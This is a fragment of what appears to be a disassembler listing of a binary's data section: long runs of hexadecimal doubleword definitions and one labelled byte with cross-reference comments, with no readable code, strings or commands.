		dd 51346826h, 8DD21490h, 0B0248456h, 88EA184Eh,	11009C79h
		dd 19C138C4h, 0E6FF0Fh,	2566A21h, 40A96633h, 0BDF28400h
		dd 44641C22h, 4A9C0304h, 5AE37E3h, 0FEF0F990h, 0A220C700h
		dd 6715BF43h, 6DAA3F51h, 5F7B788Eh, 0C1FAA3A0h,	0D4E4DF9Bh
		dd 0CB6FA003h, 0B8A2F34Fh, 48F2F5h, 0B7B535BFh,	42F13ABBh
		dd 0B22BEC00h, 0CBDB3D5Fh, 0D8D6004Eh, 824658A7h, 191EA6B8h
		dd 0DE07558Eh, 2BE1EC74h, 2C30782Fh, 0E73C9h, 6A7326F6h
		dd 18232AE2h, 0C317DA00h, 3598FC5Fh, 0E5AB00B7h, 8BDF908Dh
		dd 9903803Bh, 0F09B27D0h, 9DD188C6h, 49BDA0CAh,	24E700B7h
		dd 2A9F5E20h, 710F3D2Fh, 23076DCCh, 13FBBB05h, 4AD0811h
		dd 0C088C878h, 6B755C4Eh, 3B0594Ch, 9857C136h, 754CFA82h
		dd 12A8E5C3h, 63004806h, 0B897D65Ch, 1EF0533Eh,	0E21EAh
		dd 23785ECBh, 0C405F395h, 0BBDC84EDh, 4E76E001h, 0F180AF3Ch
		dd 7A98D186h, 3300B11Eh, 0D6CDEB17h, 2B93C8h, 82950199h
		dd 0B373F7FFh, 83973816h, 3CFC1000h, 29067Ah, 96409FE1h
		dd 4E866530h, 469AE000h, 0F75A2FE9h, 0FA7E1E8Ah, 222C006Bh
		dd 4A24DA61h
		dd 89710F00h, 7F7388B7h, 98270956h, 0B481061Dh,	6E13C8A4h
		dd 303AC9C0h, 8C671E62h, 0C0645F70h, 60848A6Ch,	0A30121F7h
		dd 1BBC61Dh, 0D0DC4372h, 0E05300E1h, 5C8EF9D8h,	79001261h
		dd 6ECCAEFh, 0C3DC93h, 0FDF52BB0h, 0EA841F2Ah, 0A7015100h
		dd 78976ED0h, 733A00C2h, 3B6229F0h, 31764C68h, 38D0C400h
		dd 0A3D7DE18h, 589016h,	0E1FDEA72h, 0D3E5BCFAh,	4434DF00h
		dd 590CC215h, 0C31000FCh, 0D9199476h, 80002875h, 0E5D71143h
		dd 0E8A83Bh, 0EE1ED157h, 39870337h, 0EA9B1600h,	86F0444Ch
		dd 0B4FCEFh, 0BB623E5Eh, 1CA5A752h, 313B58h, 9386E95Bh
		dd 1252788h, 0C019984Fh, 0C4B97EA2h, 0ED0082AEh, 2C7CE5D6h
		dd 0F19342h, 15DD890h, 502F2821h, 7303BF7Eh, 4336840Eh
		dd 4BE2C0A0h, 28203BFCh, 0ADE3D180h, 0AC646794h, 2B8C9700h
		dd 31733329h, 0B9D20022h, 6D705F8Dh, 0C90062C2h, 0ABA0E856h
		dd 912E60h, 819512B3h, 4C86F254h, 0E74E0700h, 465AA5D4h
		dd 40D71815h, 4FEF823h,	0D082701h, 0DA175303h, 2DFB0AF8h
		dd 55FC75C1h, 54954800h, 0BD8135h, 0D2DC3D65h, 912B2450h
		dd 4C2F5D00h, 1315A1EAh, 6561002Eh, 5B3BAF69h, 0C0F22ABCh
		dd 0F127E8E7h, 0DD782909h, 9815568h, 0D08FA306h, 2F002296h
		dd 38EC31CFh, 1E39D25h,	88E45043h, 0C806870Eh, 0D8052C95h
		dd 0C4B6CAF2h, 841ECAC0h, 0F0D201FDh, 67864153h, 57E4539Bh
		dd 76C120BCh, 3FCFEDBh,	4181D713h, 6A816233h, 0C88AF0C7h
		dd 0D9BBD003h, 0C85A6402h, 0FB25D7Bh, 83B9F9A9h, 6E7F1C41h
		dd 3C05F83Eh, 0DE61607h, 3B31EE0h, 2BC9C8B4h, 0EE1D03EDh
		dd 682FC0FCh, 6724F2A8h, 4BD36300h, 255CF4A2h, 4F043D61h
		dd 47B52E04h, 5DACC0EEh, 0C43E503Eh, 95D18E6Fh,	4C8EFF29h
		dd 97BF001Ah, 3F694164h, 0C88051A8h, 0B812F796h, 743A8666h
		dd 643D00F0h, 26919E99h, 0EC6E010Eh, 0B5E8F1D4h, 7AEDDC7Eh
		dd 5DFE4B05h, 8C1F5352h, 9D346380h, 3AECD70Dh, 508115D2h
		dd 86358566h, 3B94407Dh, 0E800D15Dh, 8AF26E79h,	94F863h
		dd 0AAEE0BB8h, 8371A764h, 67D33700h, 0DCE72481h, 42380AA0h
		dd 0A84EF0Fh, 87F8BE49h, 305F5984h, 9FBA351Ch, 0F3DEC800h
		dd 0C68A6155h, 898E0088h, 621394D5h, 73F814C7h,	92640300h
		dd 0BF872991h, 6CFAD0h,	161CEFD4h, 90AEB07Ah, 7B441200h
		dd 52468664h, 0BE240041h, 82F3E78Dh, 61288505h,	0FA3FF12Ch
		dd 9C8600F0h, 0E6A8CDEEh, 743E0008h, 6F977E16h,	0D507B332h
		dd 6F66112h, 0FBF9BCB0h, 0F4930365h, 30E899EEh,	0D786D688h
		dd 0BB152200h, 8D23B172h, 56F600D8h, 896C492Ah,	0D900907Bh
		dd 0BC06759Ch, 1841CCh,	8593A477h, 6A7932EBh, 5802B3Eh
		dd 0F143C7C6h, 38B19400h, 1E4F4Bh, 0EA0C1746h, 0F4636F56h
		dd 9D91FC00h, 0B2A3E442h, 0CBB907AAh, 37279097h, 0EA2B5096h
		dd 170080BFh, 16CAD808h, 787143DCh, 0E6C98F1h, 5074A1C7h
		dd 53C2D4C0h, 41E0F2A7h, 4E836401h, 0DBE32DA8h,	0EFCB2421h
		dd 90244FB1h, 7C9C5AE0h, 10961251h, 0DC8D006Eh,	0C7B99757h
		dd 3DE59B00h, 34FC5047h, 0F8289020h, 0CBCC00BFh, 526257C4h
		dd 0DD00A32Eh, 0F09C5688h, 0F24C34h, 6E8690Fh, 51E6123Eh
		dd 2B00E57Ah, 0D3BF902Ah, 7601C0B1h, 917900F4h,	121EE4A9h
		dd 240789EFh, 0F0D01C4Dh, 5D400AB0h, 0E4AB0068h, 0B14763AFh
		dd 951610E5h, 76003FBDh, 0B2F004C8h, 0C7603F7h,	425A4702h
		dd 0D8DE60E3h, 0CAEB6700h, 6353A9F6h, 381A0C80h, 3DE0F36Fh
		dd 0A300E37Ch, 0C6C97EB3h, 4275A7h, 701FEE59h, 8A02FB7Ch
		dd 1DA82900h, 0F419235Dh, 3BBA28B8h, 802F03E4h,	0CD6E8DC0h
		dd 0E842A989h, 7A00C2B6h, 0ACCE8727h, 70DF8E10h, 0F8430004h
		dd 0CB4DC9E6h, 561ED215h, 0FD8336E0h, 0D05A2438h, 0F1EE125h
		dd 30281DE7h, 81DDA9A0h, 0FA017C1Fh, 84430551h,	8C21B832h
		dd 0AEDE9C10h, 77A50059h, 26083A55h, 0D20336BCh, 526F1133h
		dd 0E968A096h, 9C6400BDh, 730DB815h, 0FA00250Ch, 0EC6A33EBh
		dd 2C2095AFh, 4C0B54h, 4E35A63Ah, 0CA00CFCDh, 0AC5BE9A5h
		dd 4C885EFFh, 1D00D38Bh, 37FAC344h, 4B0025DDh, 0C61463ECh
		dd 4A0BE1h, 0EF7ADA45h,	848E2FF6h, 0CC6DA600h, 0EE7546B7h
		dd 534F00EAh, 2BF9691Ch, 27004182h, 0F0B79A30h,	1655DB0Ch
		dd 8F4E89h, 0EEDA68A1h,	7400E2A4h, 0E14A201Eh, 45B3E4h
		dd 0EBF8F354h, 88579F51h, 70D9A900h, 0AA8FEE99h, 314A00C0h
		dd 3765B35Ch, 6DF6AB69h, 0E2124498h, 0C04083F3h, 46263E0Ah
		dd 10AD0078h, 4F49B161h, 600BBDDh, 0D70B9088h, 505CE8h
		dd 686FCED5h, 130AF8F2h, 54A2E300h, 28561545h, 840400F6h
		dd 711AEFCEh, 52380114h, 6F7D8018h, 59AF8C49h, 90E10222h
		dd 38B6A57Eh, 6A3718C8h, 0BAD30800h, 556149F3h,	0C06F58CDh
		dd 611A7C73h, 2F6BA837h, 66318EF3h, 80DBCA1Ch, 0EDAFFA07h
		dd 7844184Ch, 83870934h, 9100D588h, 2CBAD162h, 0D32EE100h
		dd 0C68EA518h, 0EE90C45h, 0BC306BC1h, 0C2C332Ch, 0A1658586h
		dd 0F8535870h, 49B4A61Ch, 5C01287Eh, 80034AA4h,	0CDA3ED31h
		dd 0A0F56AB2h, 707BE44Ch, 3EF10477h, 0C3CE61C2h, 30E1E723h
		dd 0D728E8D8h, 50B2B600h, 59651CFBh, 75C900BAh,	9AD32187h
		dd 3D00E3A5h, 0DC093126h, 0E2E41FAh, 0F5C45AC6h, 975308C0h
		dd 0FE00BC33h, 0A7BD3971h, 33DC9DAh, 0AD38A915h, 2B8A2B1h
		dd 0E80043CAh, 2B88A375h, 167D794Ah, 0E7041Dh, 1BCC344Fh
		dd 7C065405h, 0D4152A22h, 4F157C1h, 34A006E1h, 26005308h
		dd 35C609B2h, 76FA942h,	611FBF38h, 0DC4783B6h, 559940E0h
		dd 3EB9143Eh, 65690F4Fh, 0EDEE87F7h, 2106C8D1h,	1BB459A0h
		dd 500B422Eh, 601261B2h, 0C154682Ch, 4097D829h,	0B6B840E2h
		dd 0FD00B16Ah, 0E84AEB49h, 11C6C5Ah, 23B307EEh,	95C5B8DDh
		dd 106019B9h, 0E91D3516h, 1961D8F7h, 0D000928Bh, 4AC15D1Ah
		dd 52ED6FEBh, 4F107028h, 0A8171E70h, 62E29E80h,	0FB92A407h
		dd 122BE888h, 0BA776107h, 7C80B6C4h, 7C32D2D8h,	5469C16Dh
		dd 58EB14AEh, 9F00A44Ch, 0D833E8F0h, 40DABE3Ch,	3F141DD5h
		dd 12006FDh, 6AD09CB2h,	0A887C0BAh, 6C4647A6h, 32591438h
		dd 61BC0758h, 0FC6ADE4Fh, 7504215Dh, 0C7AFB3E1h, 931210BAh
		dd 0E4200002h, 0F0635CD7h, 31208500h, 67B31FB8h, 0EDD6063Dh
		dd 290DCAAFh, 225D0B22h, 1B22696Ch, 2844423Eh, 7F9028EFh
		dd 280F29CAh, 0C5DC1A04h, 814E30Ah, 23916864h, 0F93C500h
		dd 2B589204h, 697F2F00h, 51064743h, 0D4120015h,	7C7E6219h
		dd 6B098B0Ah, 1AB7282h,	73BE3F86h, 0F29B4BDCh, 1A28399Eh
		dd 0DC2B6200h, 0E103E5D6h, 0E051402Ch, 28225F60h, 0DE7CB0h
		dd 0D2134474h, 0A28BECDDh, 0FC9D6A00h, 5933CF3h, 374E393Eh
		dd 84342581h, 0CC94F159h, 0BD00F546h, 715702ABh, 79AE59Eh
		dd 38430CE9h, 148F708Dh, 8A00F4B8h, 0D926D26Ch,	0FEA0FB10h
		dd 275A0349h, 53BA4B54h, 0C8B4ACA0h, 0F711D8A9h, 7346EBB0h
		dd 65F0B312h, 0C8801C8Bh, 13705BEDh, 88633026h,	58319F97h
		dd 0A1405EE7h, 0AEB10Ah, 0B55FB068h, 291AA217h,	9DBFB807h
		dd 1E708A4Ch, 4892B3h, 0C4AE83E7h, 0C660E54Eh, 0AFCDCF00h
		dd 4347415Dh, 0F8F9A386h, 0BC84C9h, 42D239FFh, 0A051CB87h
		dd 0B5805E1Fh, 54002F1Fh, 89F02B13h, 57731463h,	2300A064h
		dd 0B370AC80h, 0BA00AEC1h
		dd 0A7DDB77Fh, 723F58h,	81651ED7h, 41B22924h, 63E6A200h
		dd 0F9B15D23h, 3B4D4A09h, 0D8DAC800h, 0BD008261h, 3793198Fh
		dd 1E81179h, 21C5A72Ah,	0F17295CDh, 0F618C08Ah,	0E82D2C31h
		dd 77F1C487h, 0E9B4CCh,	0DEC1072Ah, 492C1E38h, 0DCBC9400h
		dd 0B1CDAB57h, 0C5410053h, 0AAE8F12Eh, 28056189h, 5DFDA997h
		dd 41D6F5C2h, 0F42962E8h, 0FA300A80h, 0DCA02003h, 0F900B212h
		dd 0D971E777h, 0E06114h, 37079398h, 4C70BD4Eh, 0E101F300h
		dd 0F235B757h, 0F5E63C86h, 0E46DC980h, 0A6465509h, 728CFA02h
		dd 0C0E1A092h, 0EE2AE53Ah, 835607BFh, 8E6A3h, 44B7EACBh
		dd 6185CE00h, 0D0387A11h, 0AC650019h, 0B7674E2h, 0DE015637h
		dd 1C9620B8h, 16CCBE21h, 0AD14005Eh, 98179C4h, 6F1DD6AAh
		dd 3207235Dh, 201B3978h, 7DF3B034h, 0BC7A003Eh,	0A5CD5A59h
		dd 0D3070AB2h, 0BE7CC4B7h, 3014CFD0h, 0F6A80072h, 0E5FB3DB9h
		dd 0D0014704h, 0E82DE706h, 95D80A34h, 0D90E28F1h, 2B6011F0h
		dd 7D3EC359h, 0F9ACB848h, 0F4AA0070h, 88063074h, 21D9C7Bh
		dd 6440B97Eh, 8FD3E05Ch, 8AF70027h, 0DCA5D68Ch,	1E001FE6h
		dd 86BC16C4h, 26AEB4F9h, 1B4268Dh, 4781033h, 0F875EC88h
		dd 0E608EF01h, 0D1BBC479h, 7E51E8h, 973A8FEEh, 52634BFBh
		dd 0A086B500h, 5D315864h, 3CE1003Eh, 19488C9Eh,	0BC14C44Fh
		dd 0BC338Dh, 0F84079F6h, 4247EDBh, 0EBF23FD9h, 0DC58D04Eh
		dd 0C8E09345h, 2D428300h, 0F392B66Dh, 0C97E00EAh, 543E96E6h
		dd 0CE8CBB8h, 51696800h, 81F35F32h, 409E00E0h, 490517B3h
		dd 0DF1F1DD1h, 16C0849Fh, 0CC2672F8h, 5C98E9h, 17F1AE69h
		dd 13FF7D73h, 0D78DC200h, 7972AACBh, 46CCA025h,	31A00062h
		dd 78673F6Eh, 4A603E7Fh, 665647ECh, 0F40F2AFh, 0B2BBE4Ch
		dd 0E5D70F40h, 1C7ECC1Fh, 0EE00AC92h, 0E72EFEF9h, 1CBEB37h
		dd 0D88DE6DBh, 2009A0CEh, 300093B8h, 4D54D127h,	20DC49h
		dd 3DCF2C69h, 0A37B2D1Ch, 45294E02h, 0E8FD7516h, 1F1F5BBCh
		dd 4072FA9Dh, 0FB6EC6A9h, 8600E091h, 0B8EA5A45h, 0B662Ch
		dd 641C5C71h, 0E729230Ah, 160F410Bh, 0A1DC400Dh, 0EC350710h
		dd 0C03AFDBDh, 0EA84281Eh, 9D34CE00h, 9B931A11h, 890E2h
		dd 0B6CA8EF1h, 38067019h, 442FE001h, 14F75B49h,	0D4EDF887h
		dd 0A9771B1h, 1332C042h, 580118C0h, 0C0F35472h,	6CB5D611h
		dd 8B0483D4h, 0E1576017h, 345E14D0h, 4E1504B1h,	0D0BEA876h
		dd 0E7EDD310h, 1F6B2319h, 0F9463A10h, 0D5CC263Ch, 42960018h
		dd 0D611B993h, 0CB4C10C0h, 473AB4h, 8EAD5787h, 35D1E2C3h
		dd 3438CE2Eh, 0C13078BBh, 6FE778EBh, 394B0BBh, 53218370h
		dd 0A2E0D4E6h, 389871A6h, 0C70E8B00h, 6B63D273h, 5ECD00CEh
		dd 0BF97BA01h, 50001209h, 0FECA3B3h, 7833DBh, 0D332CB75h
		dd 43C8AEC9h, 0B2F79500h, 9EF38BB4h, 0CC300BDh,	4FEC3870h
		dd 92163427h, 5A0F1C5Dh, 0F57520F2h, 1E97A044h,	3501177h
		dd 0F430C77Ah, 0E7660801h, 49037DD1h, 0F5C001EFh, 0CB52A267h
		dd 0FC3C65h, 0EF269895h, 3F11E64Bh, 0DD00AF12h,	2CBFF4DAh
		dd 10009EBBh, 178A8EF9h, 0E0AFACE5h, 0D5FA00EDh, 0E04A464Fh
		dd 8F73F7FFh, 1C193126h, 0C1EA14h, 7BD1E457h, 3811C59Ah
		dd 3900AA03h, 0F4D930FCh, 82517FABh, 2EDFCC98h,	0E388F000h
		dd 0A8EE1068h, 0F62B055Ah, 0C42D02BEh, 4A5CC01Ch, 3339E967h
		dd 44D70076h, 0E29F5DAEh, 0A9A30088h, 0E90C171h, 9D07C99Eh
		dd 6CF6781Bh, 792D4800h, 6690008h, 3983EEDBh, 85003C38h
		dd 905B3BA6h, 0BCBE353Fh, 0B6D25024h, 9466B48h,	2076AF0Eh
		dd 92833F20h, 8EE203h, 0D3938658h, 5532FAACh, 3E1C7F48h
		db 0A0h
byte_520045	db 0A0h, 0EEh, 0	; DATA XREF: ___:00438120o
					; ___:00438138o
		dd 5ADA92E3h, 1A5F2D6Fh, 0F29FEF00h, 6A24B25Bh,	0D1781286h
		dd 9A5407A6h, 44438017h, 0B1E8160Eh, 2EF8B048h,	57054A11h
		dd 82015450h, 9DDC8AF5h, 3599D4h, 0FB245FFh, 6E5C5A64h
		dd 0BA873Ch, 69482132h,	7CD36Fh, 677862FCh, 451D68AAh
		dd 5DFE2D1Eh, 4D71CC9h,	0E08C5508h, 4A854816h, 54C3B407h
		dd 0F75D9049h, 0FF00EA8Bh, 0B8344DA6h, 7C91CFCCh, 0A3E5013Dh
		dd 43EB5D13h, 2DF460A9h, 0A8F9DD01h, 67C5BF39h,	0A024E0D0h
		dd 8423E0h, 7A20958h, 26B21F95h, 5463600h, 52C7CF90h, 2FD13A5Ah
		dd 0E5F8CA30h, 167411F7h, 6E54A200h, 568CAA5Bh,	833F639h
		dd 745E6445h, 0CCF16500h, 387AEED1h, 6E05614Eh,	9D0B4Fh
		dd 0DDC0D8ACh, 9F006CACh, 0E10255F3h, 0C3092Bh,	5A613050h
		dd 0F4FC061Dh, 4CCB8600h, 0A811AE89h, 2A383C9Dh, 0B1B3B580h
		dd 0D88490F8h, 7CF51B00h, 8701FC43h, 8CA701F6h,	12AC4FE0h
		dd 0AE20F08Eh, 8205C179h, 8D36356Dh, 0E83E7080h, 0A67D0093h
		dd 0CDEBA45Dh, 471D42B8h, 4F404802h, 9DE4616Ah,	9E580A5Fh
		dd 808A1Bh, 0A928CCFEh,	6400CB53h, 718CF086h, 16B542Dh
		dd 9851CE01h, 7083C26Eh, 8900BCA8h, 0C7ED393Dh,	38A1EBC8h
		dd 0B5801318h, 8FA02BD4h, 596057DBh, 0BFB9C464h, 0B36D004Ah
		dd 0AB3378CDh, 80031BEh, 0BD5DBE0h, 0B4EE17h, 3B9040A2h
		dd 7E571A1Ch, 8E2E68C0h, 9B67D6h, 49D8E436h, 7A013E7Bh
		dd 0A7CF8D00h, 97C87586h, 0C7280E8Bh, 1180E0EDh, 379B1F05h
		dd 0BEBDBF08h, 0EB8600AEh, 0E453EFEEh, 77FD5F00h, 0E3A4FEF3h
		dd 958C0F19h, 0B7400CFBh, 3864BC0Bh, 75EAD700h,	24070282h
		dd 0BF4D4827h, 78557918h, 0BC1FFF30h, 950068B5h, 39075613h
		dd 60022467h, 0C0A0704h, 0F49B5054h, 5D3021BDh,	0ED27185Fh
		dd 0F7F8E9BBh, 941032Bh, 378F0B53h, 0A5CC86B0h,	0D608FCBEh
		dd 40B5808Ch, 1134763Bh, 0DCBE1F00h, 7E8AED33h,	0D21824DBh
		dd 979E0184h, 2E7160ACh, 0BFB058C0h, 5DFD0BB3h,	6025CC79h
		dd 4068E7D8h, 0B10047C2h, 0FD736085h, 0EDEC08h,	97C33E06h
		dd 74AD391Dh, 0C0C67B03h, 80565401h, 0A0BF295Ah, 9C288C6h
		dd 0DEE3A321h, 0DB00CC50h, 7FADCAFEh, 36B20D7h,	0C7952716h
		dd 73D823F8h, 59724FA5h, 2AC58F00h, 4EA7DE74h, 0B19C00E5h
		dd 6F857AEDh, 0A3007D7Bh, 0E08A8BC6h, 279819Bh,	9C3F802Ch
		dd 7469FDDDh, 8784C0F9h, 90114800h, 0A8DF1483h,	0C23C2CBBh
		dd 0CF4A0014h, 87D2929Bh, 0B8AFFE00h, 1BD71008h, 7918B0F2h
		dd 0EF403B28h, 9B549E8Eh, 0D6D99920h, 1A05AFE5h, 74D7324Dh
		dd 0C1DDACC0h, 5B9501D2h, 0CBBB9024h, 0C84A2A8Bh, 8601A399h
		dd 70601214h, 0B7002038h, 97CF84DAh, 0FF305EF8h, 913219FAh
		dd 87E0078h, 0A9CAB2A8h, 59284972h, 6004D4ADh, 2D14CB09h
		dd 0A0458B0h, 0BDFCB325h, 761100F0h, 0F81C8530h, 928080A0h
		dd 34DFF30Eh, 3ABA454Eh, 20C1C800h, 0CAB99Ch, 376BF13Ch
		dd 0A8F6E52Fh, 90203D60h, 7B2B57h, 5306C507h, 95BB47EEh
		dd 832E9778h, 0F40964F0h, 0CF888045h, 0EAF339h,	0E54B1420h
		dd 0AD9CECDBh, 6B755E02h, 4066A42Eh, 74C4D3h, 0EFFB96B3h
		dd 6EED3106h, 0B6608E7Ch, 949129FCh, 6C8400C0h,	4B4FD6EAh
		dd 79017BE4h, 0A7DDFEC5h, 8C48DFBDh, 3EF20020h,	0A519A05Ch
		dd 44002D51h, 9737F1B5h, 0C82861h, 235ECEF3h, 0A5D753B9h
		dd 9300CC9Ch, 4AF46449h, 7727013h, 0D83963A7h, 2225C0DEh
		dd 2C005490h, 0E5C66843h, 2F5AD9h, 367920F1h, 0A1B241B8h
		dd 891AA31Ch, 359EB4DEh, 281DF580h, 0B9B8Ch, 0B27F81DEh
		dd 23542CA9h, 44B70600h, 55A29F3Fh, 791F0133h, 6753380Ch
		dd 90C2801h, 0E7A810h, 0E114D94Eh, 0AB960072h, 4AB8049Ch
		dd 9095C0D0h, 3EA16E2Ch, 8100EA23h, 0F82E6C0Eh,	0F24FAB9h
		dd 0DE003014h, 6703A8A1h, 8206029Ah, 0BB91643Ah, 0F0B16275h
		dd 0A134063Ch, 36D1B2D8h, 295B350Fh, 566C065h, 0A0B64119h
		dd 487980C4h, 8A0B74C2h, 7D806C2Ah, 6A134E36h, 8F1A4400h
		dd 0E4415EE2h, 0ABC901C0h, 0E7B307C3h, 0D8B8711Fh, 76784268h
		dd 160044E6h, 0DE38B22h, 3177EE5h, 10116E05h, 129BD6BBh
		dd 405F8FF0h, 0D5060A00h, 4A60D37h, 8B2C5CF5h, 3B00273Fh
		dd 9BC6C37Fh, 8E005D46h, 0D172DF91h, 0EC1FC869h, 65923D8Fh
		dd 0BC05D92Dh, 28BD0F57h, 0F22EB60h, 3C0702E0h,	45D0AF3Ah
		dd 58E4BF51h, 169EA1ECh, 97C691h, 3D10FCA3h, 56E25598h
		dd 260026B8h, 962C24Ch,	619E0CB2h, 0C5EE6199h, 247D30h
		dd 6FE1A946h, 5DBFA44h,	0BCB5A57Fh, 0A4100728h,	0E46640BDh
		dd 450EDBF2h, 82C8FA34h, 0FAF66C09h, 116A0028h,	49CBBAD3h
		dd 0A30AB2D2h, 102D6B4Ah, 26604418h, 0C77D0096h, 61E2343Bh
		dd 1E01074Bh, 1473C683h, 60CAB4D3h, 6CD3516h, 1B8CD029h
		dd 0C0C08928h, 0DE83CC45h, 50DA783Ch, 0B408C1h,	0A3ECBCC4h
		dd 0F558B7CDh, 0E2D8F301h, 929D9453h, 51147C40h, 8AA450A8h
		dd 23830058h, 35C60AF9h, 0EE001AEAh, 0CD191317h, 0FA1A3C2h
		dd 8A6D891Fh, 0E1967660h, 0CA00C34Bh, 713B67DAh, 4841C9h
		dd 0B0E05044h, 8D2AD366h, 8797FD3Dh, 3A31F1AEh,	639C01Fh
		dd 361909Bh, 0DEDC5256h, 0F7A08D6Bh, 2200C981h,	50E0A683h
		dd 915743h, 95D17685h, 9D69F5E5h, 8019AB3Eh, 588EB287h
		dd 7AD523Ch, 953A869Bh,	92254114h, 0B9F8208Ch, 7EE25D07h
		dd 0BC90B82Ch, 9AF31Ch,	71C0AC22h, 63ABB140h, 34051FFCh
		dd 0DA05B636h, 0C28E8C40h, 652B733h, 6B29CA7Dh,	0C3600875h
		dd 33C81521h, 854803E4h, 0BCE04344h, 9609C4D0h,	0DC087818h
		dd 32C0D29h, 3D0B205Ah,	73E814B1h, 0F900164Ch, 4ECA8ADDh
		dd 39B932B4h, 706749EBh, 0DC25A0CEh, 20096735h,	20EC2D08h
		dd 98B7D118h, 5C4507E1h, 1C6C33FAh, 1CBAD508h, 9970AB00h
		dd 4DA1A42h, 0D3051D86h, 3107499Ah, 90341820h, 0E1005D8Bh
		dd 0E56AFA36h, 0E45A8E94h, 46EB0F0Ch, 0C1B747DFh, 8CB6D754h
		dd 18FA2378h, 0F934F242h, 6206D9BEh, 0B8F4651Ah, 395D2814h
		dd 4D3A0E0Ch, 8B1E5F91h, 2406C806h, 3F3D0081h, 3AA592FDh
		dd 9E1DED52h, 75195112h, 0FDCC9A21h, 242A018Fh,	6228CE73h
		dd 97598036h, 9ACB7DF4h, 37AA0AEAh, 0BFDCBFA0h,	848F3078h
		dd 0E4F96110h, 8BBD900h, 0EF5CAB71h, 7E2200D3h,	93518B45h
		dd 0C6011F9Dh, 8F025E66h, 7AEC6772h, 38870065h,	0CF3694B7h
		dd 35023E5Ch, 0DA5E53ACh, 0D1B6E09Ah, 0E8263D0Eh, 6F559500h
		dd 87ACF1AFh, 223B1A00h, 3DA74D1Eh, 1F730768h, 0C0BA52E7h
		dd 0D544593Ah, 0E4DA4100h, 0C569C65Ah, 0D8AD0331h, 517683FEh
		dd 40621000h, 80E8CBBEh, 0AF3D0EF2h, 0C003D242h, 5000C8A5h
		dd 0BABE29C2h, 337A74CEh, 50386F06h, 0E726DC88h, 36918000h
		dd 61A19042h, 0B2FEF0h,	9F81B6C2h, 19EF088Bh, 0D6031602h
		dd 839C9BFCh, 0D8253D3Ch, 147CB935h, 0C92EA7Ah,	65692703h
		dd 52B97696h, 702F08AEh, 4891628Bh, 9A00960Ch, 24FD68h
		dd 0F7734874h, 2BFB9FA0h, 0DE5799C6h, 0D7AE0008h, 21875B5Eh
		dd 0DB004C48h, 0F7FE5186h, 0ED5DAFDEh, 16DA30h,	9725568Fh
		dd 9C99A977h, 52588806h, 118B5B2h, 28638DB9h, 0DC06D143h
		dd 300DA2Bh, 0A557A22h,	479CCBh, 7F5CDE4Eh, 0BCD82F34h
		dd 3E006E75h, 0EE804BB4h, 1CC9B8h, 0AB3D676Ch, 0EB3FC5F3h
		dd 411FDB00h
		dd 0E0FBA1D0h, 0A5010356h, 9AF403C2h, 11376274h, 0A8F02040h
		dd 35B3456h, 2698A30Eh,	24F21D0Fh, 531ED3C0h, 283F9E1Eh
		dd 0F4155A87h, 7B19189Ch, 57D03ABFh, 0F518E5C8h, 0D3C1701Bh
		dd 78E86401h, 1EA483DDh, 21C40998h, 644CC8E1h, 0D5397D08h
		dd 0D71081A6h, 2707A250h, 44FE0h, 0C08A11Bh, 54735B9Ah
		dd 0F36F6C7Ch, 11A2A041h, 1E0DEC39h, 0C63D39Ah,	0E1F9A678h
		dd 56DE048Ch, 61D2A507h, 70073FF6h, 289956A6h, 0A48B200h
		dd 78B7DCC7h, 8D1C0CE8h, 0D6E81D8Bh, 4051236Fh,	0C87A39DAh
		dd 0A4F30E2Ah, 0C60CEB1Bh, 0EA60B988h, 912035A1h, 94BF076Bh
		dd 703695A5h, 19547040h, 0AD254200h, 749A6615h,	0D43C0759h
		dd 87D71D4Dh, 9BCB33E8h, 0D6228088h, 6547B100h,	32150F85h
		dd 0A73B0341h, 0D33CBF77h, 0DE203FF8h, 0A127751Dh, 48B4C100h
		dd 0B90308h, 7D907B44h,	0F6E06496h, 5C9E0B5h, 0AED21D70h
		dd 0E2444062h, 4C5AA9E4h, 1B676F0Eh, 0A40DC026h, 0FCEE79Ch
		dd 0CBC9BA27h, 105F47E0h, 0C63AF377h, 0DEC50751h, 8520043Fh
		dd 7A1D9DBAh, 0C940C090h, 0C2AE9E27h, 5F0CB000h, 1020B411h
		dd 2BE41F9Ch, 0FCFF8168h, 0E8794535h, 83009AEAh, 327BCBC1h
		dd 0B4AA90h, 0DF7420ADh, 0BE3F8541h, 9000C77h, 83D48A87h
		dd 63357Eh, 0FEAFA4ABh,	88C4C0AEh, 0C76C271Eh, 0ADCF0E86h
		dd 0BC4B3979h, 10D96833h, 97E26380h, 0D89A8100h, 78DE5E5Ah
		dd 3D7200D5h, 63A25C0Eh, 140044A6h, 8FA4BA1Fh, 30E80FE7h
		dd 9D0C463Eh, 4006E668h, 4AA7E249h, 0D800008h, 0B248EDE8h
		dd 0A6073B99h, 0DEFC9BC3h, 3294C670h, 0AFD1460h, 0F9001CE4h
		dd 0F721E12Fh, 481779B7h, 0FC0BC5E9h, 0DAA600DEh, 0E04DE7h
		dd 6D5DA73Dh, 217E70CDh, 0D3492200h, 3C6173C2h,	1D4BFCF7h
		dd 469803BBh, 11508681h, 0A0045152h, 0C05749F8h, 0B4936910h
		dd 7200530Eh, 4B7DD6B9h, 5236CEh, 79F8AD63h, 68076020h
		dd 2BBD0A18h, 88D02528h, 0F5885006h, 0B8828821h, 0EC080189h
		dd 84E15644h, 22AF5122h, 7A78D26Dh, 2208BD89h, 0C029B544h
		dd 9F626A51h, 0DF1F7513h, 0F1405891h, 0F5749EBBh, 204A0087h
		dd 0C955BEF6h, 0C71DA85Fh, 0C8016E69h, 0D0B3768Ch, 910009BEh
		dd 0A2201675h, 0E90B624Fh, 80489828h, 191C9E70h, 0DFEA5Dh
		dd 4A61C68Eh, 0C03268D6h, 4936501Dh, 0D88DFA00h, 0EAFDFBh
		dd 568AACE0h, 5150CF59h, 0E4F69600h, 0B87A3720h, 0BA65008Dh
		dd 0B94BC7C0h, 48021886h, 42D30A29h, 20CCAF60h,	0E5593384h
		dd 6C060062h, 10D00FE3h, 76739E93h, 320DBD05h, 0D68059A8h
		dd 0EA6B083Dh, 0C1FAE8h, 176DE279h, 4A4C2A41h, 1E3EBD1Ch
		dd 0B0C824C1h, 0CFCE443h, 5F7904C6h, 80B6AF32h,	0FD48E504h
		dd 30C8870Eh, 0CEA8C0FEh, 72BA05Dh, 0CDAE3436h,	0B791A067h
		dd 0B40F8302h, 0C160F527h, 7CA95ECAh, 25AD9ECh,	0D293B387h
		dd 0F9603BD0h, 7401AFBCh, 0C5430B6h, 58E87A52h,	77950A40h
		dd 0A8F5EDh, 0E756A160h, 1C3CB687h, 0E007E92h, 8F075FB7h
